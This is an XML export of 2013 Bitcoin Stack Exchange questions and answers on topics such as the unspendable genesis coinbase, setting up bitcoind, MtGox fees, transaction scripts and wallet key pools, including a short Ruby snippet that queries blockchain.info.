  <row Id="10009" PostTypeId="1" AcceptedAnswerId="10019" CreationDate="2013-04-20T00:24:27.607" Score="46" ViewCount="20060" Body="&lt;p&gt;According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Genesis_block&quot;&gt;bitcoin wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The first 50BTC block reward went to address &lt;a href=&quot;http://blockexplorer.com/address/1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa&quot;&gt;1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa&lt;/a&gt;, though this reward can't be spent due to a quirk in the way that the genesis block is expressed in the code (this may have been intentional).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But where is this quirk? How would you change it to allow it to be spent?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="52021" LastEditDate="2019-02-21T00:57:22.613" LastActivityDate="2020-11-06T18:25:41.390" Title="Why can’t the genesis block coinbase be spent?" Tags="|consensus|genesis-block|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10010" PostTypeId="1" AcceptedAnswerId="10011" CreationDate="2013-04-20T00:32:49.047" Score="7" ViewCount="18944" Body="&lt;p&gt;I've googled a lot for this issue. Hehe. I have found some tutorials, but they were of no use because they are for systems that do have a GUI. I have no plans to install a GUI on that system, and I want to use bitcoin from the command line, or via RPC API. This is the system I run:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Linux redacted 3.2.0-40-generic-pae #64-Ubuntu SMP Mon Mar 25 21:44:41 UTC 2013 i686 athlon i386 GNU/Linux&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I found I can do this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sudo apt-get install bitcoind&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But hardly I know what to do with it after that. It installs successfully. If you are going to ask a reason why I want this, it's because I want to communicate with it via PHP or I'll see how, but mostly it's for automating services with it. Please help. :-(&lt;/p&gt;&#xA;" OwnerUserId="4535" LastActivityDate="2018-02-03T05:36:26.757" Title="How to install a Bitcoin client on Ubuntu Server" Tags="|json-rpc|ubuntu|server|" AnswerCount="7" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10011" PostTypeId="2" ParentId="10010" CreationDate="2013-04-20T00:57:01.213" Score="9" Body="&lt;p&gt;Once you've installed bitcoind, you should create a &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot;&gt;configuration file&lt;/a&gt; (stored in &lt;code&gt;~/.bitcoin/bitcoin.conf&lt;/code&gt;) containing at least an RPC username and password, and then you just run &lt;code&gt;bitcoind&lt;/code&gt; to start the server.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-20T00:57:01.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10012" PostTypeId="2" ParentId="3229" CreationDate="2013-04-20T02:13:04.253" Score="7" Body="&lt;p&gt;The only three ICANN accredited registrars who accept bitcoin presently are No-IP, easyDNS and Namecheap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.noip.com/bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://www.noip.com/bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog2.easydns.org/2013/04/16/we-now-accept-bitcoin-as-a-payment-method/&quot; rel=&quot;nofollow&quot;&gt;http://blog2.easydns.org/2013/04/16/we-now-accept-bitcoin-as-a-payment-method/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.namecheap.com/support/payment-options/bitcoin.aspx&quot; rel=&quot;nofollow&quot;&gt;https://www.namecheap.com/support/payment-options/bitcoin.aspx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4536" LastEditorUserId="-1" LastEditDate="2014-04-15T23:04:58.583" LastActivityDate="2014-04-15T23:04:58.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10013" PostTypeId="2" ParentId="9986" CreationDate="2013-04-20T02:16:57.870" Score="2" Body="&lt;p&gt;Those who will buy the coins from the miners are the ones who guide the miner's behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is called the &lt;a href=&quot;https://en.bitcoin.it/wiki/Economic_majority&quot; rel=&quot;nofollow&quot;&gt;economic majority&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the level of maturity of the Bitcoin economy in March, 2013, the decision as to what the economic majority wanted was the response to a very short question: &quot;&lt;em&gt;What side of the fork is Mt. Gox on?&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer to that was that Mt. Gox was still using the v0.7 client.  That response alone was enough to instantly know the will of the economic majority.  Until there isn't a single exchange holding the vast majority of economic value, then simply that one exchange is the decider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if, for instance, BTC Guild's miners didn't want to abandon the v0.8 side of the fork, they could have switched to other pools such as Slush's (which was still on the v0.8 side) or switched to P2Pool, etc., and continued mining on the v0.8 sid.e  Then there wouldn't have been enough hashing on the pre-v0.8 side to cause that to become the longest chain.  But if Mt. Gox were to have held firm with v0.7, the newly mined coins would not been spendable and eventually miners would likely have defected to the v0.7 side eventually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Mt. Gox had been using the v0.8 client already, the hard fork issue would have been resolved likely by new configuration settings (or a patch) to previous releases being released to fix the newly re-discovered limitation that had existed with all pre-v0.8 clients.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-04-20T02:23:48.770" LastActivityDate="2013-04-20T02:23:48.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10015" PostTypeId="2" ParentId="9987" CreationDate="2013-04-20T02:43:17.023" Score="2" Body="&lt;p&gt;You can do this in two API calls, plus some filtering:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get the current block height from &lt;code&gt;http://blockchain.info/latestblock&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Get the list of transactions for the address from &lt;code&gt;http://blockchain.info/address/$hash_160?format=json&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;Filter transactions from #2 where the height is less than current block height minus 3.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Rough Ruby code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require 'open-uri'&#xA;require 'json'&#xA;require 'pp'&#xA;&#xA;desired_address = '1dice7W2AicHosf5EL3GFDUVga7TgtPFn' #high traffic address good for example code!&#xA;get_transactions_with_minimum_of_n_confirmations = 3&#xA;&#xA;latestblock = JSON.parse open('http://blockchain.info/latestblock').read&#xA;address = JSON.parse open(&quot;http://blockchain.info/address/#{desired_address}?format=json&quot;).read&#xA;&#xA;current_block_height = latestblock[&quot;height&quot;]&#xA;pp address[&quot;txs&quot;].select {|tx| tx[&quot;block_height&quot;] &amp;lt; (current_block_height - get_transactions_with_minimum_of_n_confirmations) }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that you're going to retrieve a list of ALL transactions involving that address. It'd be nice of Blockchain.info let you specify a minimum number of confirmations to limit transactions to on the address call.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-04-20T02:43:17.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10016" PostTypeId="1" AcceptedAnswerId="10017" CreationDate="2013-04-20T04:44:14.870" Score="5" ViewCount="2679" Body="&lt;p&gt;When we buy BTC using USD on MtGox,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does MtGox charge 0.6% of the USD then do a trade, or does MtGox do a trade first, then charge 0.6% of the BTC we receive?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, when we sell BTC for USD on MtGox,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does MtGox charge 0.6% of the BTC then do a trade, or does MtGox do a trade first, then charge 0.6% of the USD we receive?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastActivityDate="2013-05-05T17:28:59.427" Title="Does MtGox charge commission in USD or in BTC?" Tags="|mtgox|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10017" PostTypeId="2" ParentId="10016" CreationDate="2013-04-20T04:57:34.213" Score="6" Body="&lt;p&gt;Mtgox charges the fee from whatever you're buying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you buy 100 btc for however many USD, you'll buy the BTC, then you'll be charged 0.6% of your 100btc as fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you buy 100 USD for however many BTC (i.e., sell some btc), you'll get your USD, and will be charged 0.6% of your 100USD as fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: This is actually configurable. If you go to the mtgox settings page in your account, you can set the fee to be taken out either as above (default), or out of your USD balance always.&lt;/p&gt;&#xA;" OwnerUserId="441" LastEditorUserId="441" LastEditDate="2013-05-05T17:28:59.427" LastActivityDate="2013-05-05T17:28:59.427" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10019" PostTypeId="2" ParentId="10009" CreationDate="2013-04-20T06:08:00.507" Score="32" Body="&lt;p&gt;When a node starts up it initializes its copy of the block database alongside the genesis block and then begins the synchronization process. For some reason, Satoshi decided not to add the coinbase transaction from the genesis block to the global transaction database. Thus all the nodes in the network would reject the block.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this was done on purpose or if it was simply an oversight. In any event, it is forever bound to 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa. &lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-04-20T06:08:00.507" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10020" PostTypeId="1" AcceptedAnswerId="10021" CreationDate="2013-04-20T09:21:00.043" Score="2" ViewCount="348" Body="&lt;p&gt;I wonder how sites such as &lt;em&gt;blockchain.info&lt;/em&gt; resolve the owners of public bitcoin addresses. For example, &lt;em&gt;blockchain.info&lt;/em&gt; knows that the &lt;em&gt;xkcd&lt;/em&gt; donation address 14FHqYSgA... belongs to &lt;em&gt;xkcd.com&lt;/em&gt;. It is available at &lt;em&gt;xkcd.com/bitcoin&lt;/em&gt;, but somebody must be crawling all websites searching for that folder, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume there is a directory where this kind of websites are stored so that blockchain.info can look it up. Where is it and is there a public API available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4538" LastActivityDate="2013-04-20T11:35:08.277" Title="How does blockchain.info resolve adresses?" Tags="|blockchain.info|api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10021" PostTypeId="2" ParentId="10020" CreationDate="2013-04-20T09:36:10.667" Score="2" Body="&lt;p&gt;There's no central directory for this information.  You could scrape &lt;a href=&quot;http://blockchain.info/tags&quot; rel=&quot;nofollow&quot;&gt;the Blockchain list&lt;/a&gt; if you wished, but if you do so you're relying on the accuracy of their information.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-04-20T09:36:10.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10023" PostTypeId="2" ParentId="10020" CreationDate="2013-04-20T11:35:08.277" Score="0" Body="&lt;p&gt;I believe that many of the blockchain.info public addresses are self reported or crowd reported. There is a link where you can submit an address. &lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2013-04-20T11:35:08.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10024" PostTypeId="2" ParentId="10003" CreationDate="2013-04-20T13:17:41.603" Score="0" Body="&lt;p&gt;I installed the bitcoin-qt client from the &lt;a href=&quot;https://www.weusecoins.com/en/getting-started&quot; rel=&quot;nofollow&quot;&gt;https://www.weusecoins.com/en/getting-started&lt;/a&gt; website after purging the install from the PPA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It all works fine now. Think it was a bad client.&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2013-04-20T13:17:41.603" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10025" PostTypeId="1" AcceptedAnswerId="10041" CreationDate="2013-04-20T13:24:33.693" Score="10" ViewCount="2494" Body="&lt;p&gt;I couldn't find an article about criticism in the wiki. Is there some other place that contains well-constructed criticism for Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="4525" LastEditDate="2013-04-21T21:51:37.370" LastActivityDate="2013-04-21T21:51:37.370" Title="Where can I find well-written criticism about Bitcoin?" Tags="|economic-theory|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10026" PostTypeId="2" ParentId="10025" CreationDate="2013-04-20T14:18:58.110" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.quora.com/What-are-the-primary-weaknesses-of-the-Bitcoin-protocol&quot; rel=&quot;nofollow&quot;&gt;This Quora question&lt;/a&gt; is a start.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-04-20T14:18:58.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10027" PostTypeId="1" AcceptedAnswerId="10030" CreationDate="2013-04-20T14:26:20.493" Score="1" ViewCount="120" Body="&lt;p&gt;I need to know, if I have to pay a transaction fee, in which output of the transaction the fee is included? is it output 0 or output 1?&#xA;I suppose that normally there is only 2 outputs for a transaction.&lt;/p&gt;&#xA;" OwnerUserId="3784" LastActivityDate="2013-04-20T14:38:36.043" Title="In which output (0 or 1) a transaction fee is included?" Tags="|transactions|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10028" PostTypeId="2" ParentId="10025" CreationDate="2013-04-20T14:28:09.873" Score="0" Body="&lt;p&gt;This is a great source:&#xA;&lt;a href=&quot;http://critiquesoflibertarianism.blogspot.co.il/2011/05/simple-critique-of-bitcoin.html&quot; rel=&quot;nofollow&quot;&gt;http://critiquesoflibertarianism.blogspot.co.il/2011/05/simple-critique-of-bitcoin.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a short article but you can learn a lot from the comments&lt;/p&gt;&#xA;" OwnerUserId="4541" LastActivityDate="2013-04-20T14:28:09.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10029" PostTypeId="2" ParentId="10016" CreationDate="2013-04-20T14:30:24.537" Score="2" Body="&lt;p&gt;The fee is a percentage of whatever you are buying.&#xA;Here is their Fee Schedule:&#xA;&lt;a href=&quot;https://mtgox.com/fee-schedule&quot; rel=&quot;nofollow&quot;&gt;https://mtgox.com/fee-schedule&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4541" LastActivityDate="2013-04-20T14:30:24.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10030" PostTypeId="2" ParentId="10027" CreationDate="2013-04-20T14:38:36.043" Score="8" Body="&lt;p&gt;Neither.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction fee is the difference in value between the inputs and the outputs of a transaction.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-04-20T14:38:36.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10034" PostTypeId="1" AcceptedAnswerId="10035" CreationDate="2013-04-20T15:02:50.160" Score="6" ViewCount="1426" Body="&lt;p&gt;Currently I am mining at around 775Mh/s and have been for only 12 hours.  I want to make sure everything is setup properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have encrypted my wallet and Bitcoin is reporting that the wallet is &lt;strong&gt;encrypted&lt;/strong&gt; and &lt;strong&gt;locked&lt;/strong&gt;.  Does the wallet need to be unlocked in order for the mining process to yield its results?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4426/mining-and-bitcoin-wallet&quot;&gt;This question was helpful.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4543" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2016-04-17T19:06:49.737" Title="Does my wallet need to be unlocked to mine?" Tags="|wallet|miner-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10035" PostTypeId="2" ParentId="10034" CreationDate="2013-04-20T15:10:04.843" Score="5" Body="&lt;p&gt;No, it doesn't have to be. Mining doesn't require private keys, only (part of) the public one. Having only the address of the destination is enough, so the wallet can be locked.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-20T15:10:04.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10036" PostTypeId="1" AcceptedAnswerId="10186" CreationDate="2013-04-20T16:15:09.630" Score="2" ViewCount="606" Body="&lt;p&gt;Has any website compiled a reasonably authoritative and trustworthy list of Bitcoin resources? I'm building an appendix for my course and I'd like to see if I missed anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.udemy.com/bitcoin-or-how-i-learned-to-stop-worrying-and-love-crypto/&quot; rel=&quot;nofollow&quot;&gt;https://www.udemy.com/bitcoin-or-how-i-learned-to-stop-worrying-and-love-crypto/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To address Nick's concerns, let me clarify the purpose of this question. I am not asking for your favorite Bitcoin links. I am asking for authoritative and trustworthy lists of Bitcoin resources. For example: &lt;a href=&quot;https://www.spendbitcoins.com/places/&quot; rel=&quot;nofollow&quot;&gt;https://www.spendbitcoins.com/places/&lt;/a&gt; is a reasonably trustworthy list of bitcoin commerce sites.&lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="44" LastEditDate="2013-04-21T09:45:10.493" LastActivityDate="2020-04-15T05:30:44.727" Title="Authoritative list of Bitcoin resources?" Tags="|community|" AnswerCount="4" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="10038" PostTypeId="2" ParentId="366" CreationDate="2013-04-20T18:04:11.840" Score="30" Body="&lt;p&gt;I think the best way of analyzing your question would be to break the destruction of the Bitcoin into categories. There is the notion of a hard destruction meaning an attempt is made to physically compromise the Bitcoin network either by a 51% attack or international legislation. And there is the notion of a soft destruction, where attempts are made to De-legitimize the currency through media manipulation and also persistent DDOS attacks on the infrastructure supporting the Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of Hard Destruction, I can identify the following scenarios:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The NSA or some other entity with both the budget and experience create a VLSI project to both develop and deploy an ASIC design that would result in a 51% attack&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;International regulation is developed that significantly inhibits one's ability to exchange Bitcoins for local currencies. Essentially forcing the Bitcoin underground like a drug cartel &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A mathematician discovers how to break ECDSA (very unlikely)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Innovation results in the Bitcoin being replaced with another currency&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In terms of Soft Destruction, I can identify the following scenarios:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The media alongside a covert multi-government effort conduct several propaganda campaigns to sway public opinion that the Bitcoin is either a massive scam or somehow bad&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Cumbersome regulations are adopted to monitor and control Bitcoin exchange&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Persistent DDOS attacks occur on the major exchanges like Mtgox and also the supporting infrastructure   &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;One way to attack Bitcoin would be to have large amounts of money alternately pushed into Bitcoin and pulled out of Bitcoin, thereby massively increasing volatility. These market fluctuations could be aggravated by a covert government programme of destructive funding and public dis-information. This would make doing business in Bitcoin more difficult.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In all honesty, the Bitcoin is an experiment. We have no idea what will happen and who will oppose it. &lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="28011" LastEditDate="2015-08-20T16:59:21.520" LastActivityDate="2015-08-20T16:59:21.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10039" PostTypeId="1" CreationDate="2013-04-20T18:23:48.883" Score="1" ViewCount="1438" Body="&lt;p&gt;I have been 'playing' with my account at ripple.com. Among other things I tried to access another Bitcoin issuer (server, gateway?) by typing and saving WeExchange address in Advanced, Options, Web Socket. I think I may have typed in the incorrect address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was logged out and when I tried to log back in, I get &quot;loading&quot; icon shown 'forever'. In fact, I can't even get to the login page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, I cannot access my wallet/account anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do now? I filed a bug report at client GitHub but am hoping I may get a response here faster, plus it is not a bad idea to have the solution documented also here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Chrome on Windows.&lt;/p&gt;&#xA;" OwnerUserId="4354" LastEditorUserId="4354" LastEditDate="2013-04-24T03:09:48.500" LastActivityDate="2013-04-24T03:09:48.500" Title="How can I recover access to Ripple wallet" Tags="|ripple|ripple-client|" AnswerCount="0" CommentCount="7" ClosedDate="2014-02-22T03:27:00.717" ContentLicense="CC BY-SA 3.0" />
  <row Id="10041" PostTypeId="2" ParentId="10025" CreationDate="2013-04-20T19:32:03.633" Score="7" Body="&lt;p&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Weaknesses&quot; rel=&quot;nofollow&quot;&gt;Here's the page on the wiki where weaknesses are addressed.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="267" LastEditDate="2013-04-21T17:35:38.220" LastActivityDate="2013-04-21T17:35:38.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10042" PostTypeId="2" ParentId="10025" CreationDate="2013-04-20T19:54:16.647" Score="0" Body="&lt;p&gt;See &quot;&lt;a href=&quot;http://www.links.org/?p=1179&quot; rel=&quot;nofollow&quot;&gt;Decentralised Currencies Are Probably Impossible (But Let’s At Least Make Them Efficient)&lt;/a&gt;&quot; by Ben Laurie. He shows how Bitcoin's so-called &quot;decentralization&quot; is such a joke, because it doesn't really work. If Bitcoin's decentralization doesn't work, it makes no sense to waste so many resources over proof-of-work transaction processing. He also proposes an alternative design in a follow-up post.&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2013-04-20T19:54:16.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10044" PostTypeId="1" CreationDate="2013-04-20T21:28:20.057" Score="3" ViewCount="18596" Body="&lt;p&gt;I'm trying to setup a pool for litecoin mining with support of the stratum protocol and VARDIFF (variable difficulty).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read the answer of cdecker on the following question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4303/how-to-setup-pushpool&quot;&gt;How to setup pushpool&lt;/a&gt;. This was quite helpful. I managed to setup pushpool and everthing is running quite well (at least I can see CGminer connected and doing something).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just stuck in setting up startum and VARDIFF. I was searching through boards, but I can not find anything that is related to my problem. The only approach I read on bitcointalk was to use &lt;code&gt;&quot;rpc.target.bits&quot; : 18&lt;/code&gt; instead of &lt;code&gt;&quot;rpc.target.rewrite&quot; : true&lt;/code&gt; in &lt;code&gt;server.json&lt;/code&gt; to adjust the difficulty, but no success :(&#xA;For VARDIFF I can not find anything at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be very much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="4546" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2016-10-20T08:33:52.320" Title="How to setup stratum with pushpool and VARDIFF? (litecoin)" Tags="|mining-pools|litecoin|stratum|pushpool|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10046" PostTypeId="1" CreationDate="2013-04-21T01:03:48.307" Score="2" ViewCount="837" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to wrap my mind around them. Could anyone provide a bit more intuitive understanding?&lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="2306" LastEditDate="2013-04-21T01:31:06.677" LastActivityDate="2013-04-21T01:32:37.690" Title="An explanation of transaction scripts" Tags="|transactions|script|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10047" PostTypeId="2" ParentId="10046" CreationDate="2013-04-21T01:32:37.690" Score="3" Body="&lt;p&gt;Scripts are used to determine the person who can spend the transaction (at Bitcoin you spend using transactions, not using BTC on an address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand scripts, you probably first need to understand the Bitcoin transaction model. Unlike your old style bank, where you have accounts with a certain amount of money on it, Bitcoin doesn't actually have accounts. The address you send money to is nothing like an account, even though clients show them as such for simplicity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What Bitcoin really does is send transactions with scripts that can only be solved by one specific private key, by using the public key to create a script. If you send money, you basically &lt;em&gt;destroy&lt;/em&gt; one or more previous transactions to create a new one. If you're sending less than the sum of the transactions you're using, just send a bit back to your own account. &lt;em&gt;A transaction can only be used once.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of that transaction model, scripting can work. A transaction can be made with a script that doesn't indicate one specific destination address, but instead lets everyone spend it. Such a transaction does not fit in the old style bank model, but works fine for Bitcoin. There can even be scripts that require multiple private keys, or scripts that require you to answer a question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One quick step back to the transaction model, so I can give you the full picture. Money is created with mining, via special transactions that don't have to &lt;em&gt;destroy&lt;/em&gt; a previous transaction: coinbase transactions. All transactions have inputs and outputs. The inputs are the previous transactions it's getting the money from (exception: coinbase) and the outputs are the scripts it's sending the money to. After money is created via mining, it can be used once as an input, after which the money will be destroyed and re-created in a new transaction that can then be used. The role that scripts play in this whole process is to verify that you actually have permission to spend certain transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helped. Scripts are not the easiest part of bitcoin to understand.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-21T01:32:37.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10049" PostTypeId="2" ParentId="9999" CreationDate="2013-04-21T02:44:35.193" Score="3" Body="&lt;p&gt;The disadvantage of merged mining is the additional coin daemons you have to run in the background. They all use disk space, memory, cpu cycles and bandwidth. A more annoying issue is that most of them are no longer maintained and have bugs. You may find that they crash frequently - at least namecoind does.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-04-21T02:44:35.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10050" PostTypeId="1" AcceptedAnswerId="10053" CreationDate="2013-04-21T05:42:32.980" Score="4" ViewCount="3266" Body="&lt;p&gt;Is it the case that the blockchain has information on the balance associated with each public key-address, such that the client on my PC, say, will look at every public/private keys pair in wallet.dat, find all public keys in the blockchain for each of my private keys, sum up the balances for each, and show me the overall balance?&lt;/p&gt;&#xA;" OwnerUserId="4551" LastEditorUserId="132" LastEditDate="2013-04-21T15:30:31.610" LastActivityDate="2013-04-21T15:30:31.610" Title="How balances are calculated?" Tags="|blockchain|address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10051" PostTypeId="1" AcceptedAnswerId="10052" CreationDate="2013-04-21T06:35:53.120" Score="1" ViewCount="663" Body="&lt;p&gt;Reading about the &quot;change&quot; addresses and doing &quot;wallet.dat&quot; backups, I keep reading that -by default- bitcoin-qt generates 100 keys and use them when you need a new address. My question is this: what happens after you use all 100 keys (for change, mainly). bitcoin-qt generates another block of 100 keys?. Only one?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The information is critical for backup policy, and I can't find it online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you get a new 100 keys block, doing regular frequent backups is mostly fine, but if only a new key is generated, you should backup the wallet after any incoming or outgoing transaction...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Better yet, bitcoin-qt should have a permanent pool of 100 addresses, and add a new random address when you use one, in a FIFO style. That way you should be quite safe if you do less than 100 outgoing transactions between backups!.&lt;/p&gt;&#xA;" OwnerUserId="4550" LastActivityDate="2013-04-21T06:45:49.757" Title="wallet.dat backup and 100 pregenerated keys" Tags="|wallet|backup|change|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-29T21:05:37.533" ContentLicense="CC BY-SA 3.0" />
